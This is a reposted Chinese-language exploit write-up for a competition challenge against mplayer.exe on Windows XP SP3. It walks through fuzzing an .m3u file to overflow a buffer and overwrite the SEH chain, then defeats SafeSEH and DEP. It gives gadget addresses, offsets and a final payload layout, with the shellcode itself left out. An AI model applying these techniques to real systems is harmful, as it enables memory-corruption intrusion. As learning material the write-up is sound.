zoukankan      html  css  js  c++  java
  • safeseh+dep保护绕过

    【文章作者】       :h_one
    【漏洞程序名称】:mplayer.exe
    【漏洞类型】       :缓冲区溢出
    【保护方式】       :safeseh+dep
    【操作平台】       : xp sp3
    【工具】              :windbg, immunity Debugger,mona等
    ps:这个程序是前两年xx比赛的题目,肯定有朋友玩过了,要求是利用seh进行漏洞利用,同时开启dep保护。 我想,那时我应该在玩泥巴,不知道啥叫crack,fuzz,漏洞挖掘利用等。挖掘利用此漏洞的首先了解windows的safeseh,dep保护,以 及知道怎么绕过。还有在模糊测试时,要根据程序本身处理哪类文件,进而触发漏洞。在程序比较大功能比较多时,这真的就是体力活了,可是首先使用IDA静态分析,看一下目标地址是否为栈分配,源数据是否可控,然后锁定那个调用(堆栈回朔看前面函数处理),分析源数据是从哪里来的。这些杂七杂八的是个人对漏洞挖掘的理解吧.......下面进入本文正题

    此次是在xp sp3下操作的,而xp sp3默认dep是关闭的,首先我们的开启dep保护

    第一步:Fuzz,触发漏洞
    此软件为音乐播放器,处理的数据一般的都.mp3 ,m3u,皮肤 文件。方法:体力+耐力+运气   不知道大家有没有什么好的方法能比较快的触发漏洞
    首先利用immunity Debugger调试发现:程序在打开m3u文件时,会将m3u文件所在路径与数据一起拷贝,我是将测试文件放在桌面的。
    利用msf创建m3u后缀的fuzz数据 发现在6k大小是 程序发生异常



    第二步利用no-safeSeh模块地址覆盖seh,绕过safesef,并返回到准备的数据缓冲区
    接下来用windbg附加看看


    发生了异常从上图看msvcrt!strcat+81:av异常
    此时看看异常链情况

    执行!exchain

    异常链已被准备的数据覆盖,噢,,,,那么接下来可以利用覆盖seh得到程序控制权.
    计算seh偏移


    接下来用py写简单的脚本,junks 用0x90填充 方便后面修改
    在5115出写上esh,由于是在xp sp3下对seh的攻击肯定是存在safeseh保护的,因此接下来要绕过safeseh保护。
    safeseh绕过方法:
    利用SafeSEH保护模块之外的地址
    对于目前的大部分windows操作系统,其系统模块都受SafeSEH保护,可以选用未开启SafeSEH保护的模块来利用,比如漏洞软件本身自带的 dll文件, 这个可以借助OD插件SafeSEH来查看进程中各模块是否开启SafeSEH保护。除此之外,也可通过直接覆盖返回地址 (jmp/call esp)来利用。另一种方法,如果esp +8 指向EXCEPTION_REGISTRATION 结构,那么你仍然可以寻找一个 pop/pop/ret指令组合(在加载模块的地址范围之外的空间),也可以正常工作。但如果你在程序的加载模块中找不到pop/pop/ret 指令, 你可以观察下esp/ebp,查看下这些寄存器距离nseh 的偏移,接下来就是查找这样的指令:


    call dword ptr[esp+nn] / jmp dword ptr[esp+nn]
    call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn]
    call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
    (其中的nn 就是寄存器的值到nseh 的偏移,偏移nn可能是: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)。


    很幸运的可以发现软件本身自带的dll没有safeseh保护,找了一条pop pop retn= 0x6D7C4637
    典型safeseh保护攻击模型
    • 在nseh 上放置向后的跳转指令(跳转7 字节:jmp 0xfffffff9);
    • 向后跳转足够长的地址以存放shellcode,并借此执行至shellcode;
    • 把shellcode 放在用于覆盖异常处理结构的指令地址之前。

    ["x90"*5115] + [nseh] + [seh] + "x90x90x90xcc"      
    no-safeseh
    .......................................................................................................................................................................................................................................
    覆盖超长字符找到seh地址 将其修改为加载模块之外地址,并下断点 shift+f9 查看异常处理时寄存器与堆栈情况


    esp = 0x22E2DC
    ebp = 0x22E2FC
    看下我们输入的数据离此时esp多远


    ForEsp: 0x22EBE5 - 0x22E2DC = 0x909
    ForEbp: 0x22EBE5 - 0x22E2FC = 0x8E9
    计算可了解到此时esp到我们准备数据至少位0x909,那么可以寻找指令add esp num (num >= 0x909) retn 这样程序就又可控了。

    ADD ESP,xxxxxxxx的机器码:81 C4 xx xx xx xx
    利用windbg搜索81 C4指令
    s a 0x00000000 L?7fffffff 伳   (搜索 add esp XX XX XX XX)


    选择0x64998c87   (add esp 0x96c) 修改seh为0x64998c87,再此进行调试观察堆栈情况

    覆盖seh之后 执行到0x64998C87观察堆栈情况 成功进入堆栈

    ESP已经指向我们的缓冲区了,下面看看ESP指向的地址相对RETN的偏移量,如图所示:



    我们的缓冲区起始于0x22EBE5 ,而现在esp指向0x22EC5C,这里经行简单的计算:
    0x22EC5C-0x22EBE5 = 0x77(119)大概是这么多吧,这里可以直接在直接窗口里修改,然后二进制拷贝到winhex

    呵呵,算是甩开safeseh了,这要进入我们准备的数据区,只要关闭dep跳入shellcode就算是胜利了。
    现在构造的数据模型应该是:my buffer = “x90” * 119+ “Close_dep” + “x90” x (5115 – 119) +“x2Cx0Ex0Ax6D” +“x90” *nums;
    (ps:)


    第四步关闭dep,指向shellcode
    dep:
    数据执行保护,算是目前windows上最强保护了
    绕过方法:
    1.ret2lib
    其 思路为:将返回地址指向lib库中的代码,而不直接跳转到shellcode 去执行,进而实现恶意代码的运行。可以在库中找到一段执行系统命令的代 码,比如system()函数,用它的地址覆盖返回地址,此时即使NX/XD 禁止在堆栈上执行代码,但库中的代码依然是可以执行的。函数 system()可通过运行环境来执行其它程序,例如启动Shell等等。另外,还可以通过VirtualProtect函数来修改恶意代码所在内存页面 的执行权限,然后再将控制转移到恶意代码,其堆栈布局如下所示:
    ┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┓      
    ┃                        ┃            恶意代码              ┃内存高地址
    ┃                        ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃        lpflOldProtect            ┃┃
    ┃                        ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃          flNewProtect            ┃┃栈
    ┃       调用参数         ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃             dwSize               ┃┃生
    ┃                        ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃            lpAddress             ┃┃长
    ┃                        ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃      恶意代码的入口地址          ┃┃方
    ┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
    ┃      返回地址          ┃    VirtualProtect函数地址        ┃┃向
    ┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
    ┃ EBP上层函数堆栈基址    ┃                                  ┃┃
    ┣━━━━━━━━━━━━┫                                  ┃┃
    ┃ 异常例程入口地址(若有 ┃     填充数据的覆盖区域          ┃┃
    ┃设置的话,比如try…catch)┃       (AAAAAAAA……)           ┃┃
    ┣━━━━━━━━━━━━┫                                  ┃▼
    ┃      局部变量          ┃                                  ┃内存低地址
    ┗━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━┛


    本问绕过方法使用关闭dep
    此方法的主要原理就是利用NtSetInformationProcess()函数来设置 KPROCESS 结构中的相关标志位,进而关闭DEP
    具体实现思路
    1.将al设置为1,比如指令mov al,1 / ret,然后用该指令地址覆盖返回地址:
    利用OllyFindAddr插件可以找到绕过dep的指令地址
    mov al 0x1 rent 地址:0x7c80c190

    观察寄存器情况 堆栈情况 下图


    junks+mov_eax+rev_ebp+add_sep+jmp_esp+close_dep+jmp_shellcode+nops + shellcode+nopsh+seh_add_esp)
    最后构造的数据模型:(可能会有不同在实际调试时修改)
         junks mov al ,1; retn; push esp pop ebp retn 0x4      retn 0x24   jmp esp    close_dep jmp_shellcode nop1s shellcode nop2s add esp
    0x96C;pop;pop;pop;retn;
    "x90"*0x73 "x90xc1x80x7c" "xE5xE0x72x7D" "xfdx9fx75x7d" "xb4xc1xc5x7d" "x24xcdx93x7c" "xebx22x90x90" "x90" * 0x85 "x......x" "x90"*num "x7Dx8cx99x64"


    到此成功绕过


    本主题由 Hmily 于 2014-7-9 14:19 删除回复

    11.png (1 KB, 下载次数: 7)

     

    11.png

    10.png (7.94 KB, 下载次数: 6)

     

    10.png
     
     
    原文地址:http://www.52pojie.cn/thread-240617-1-1.html
  • 相关阅读:
    HDU 2196 Computer
    HDU 1520 Anniversary party
    POJ 1217 FOUR QUARTERS
    POJ 2184 Cow Exhibition
    HDU 2639 Bone Collector II
    POJ 3181 Dollar Dayz
    POJ 1787 Charlie's Change
    POJ 2063 Investment
    HDU 1114 Piggy-Bank
    Lca hdu 2874 Connections between cities
  • 原文地址:https://www.cnblogs.com/milantgh/p/3964172.html
Copyright © 2011-2022 走看看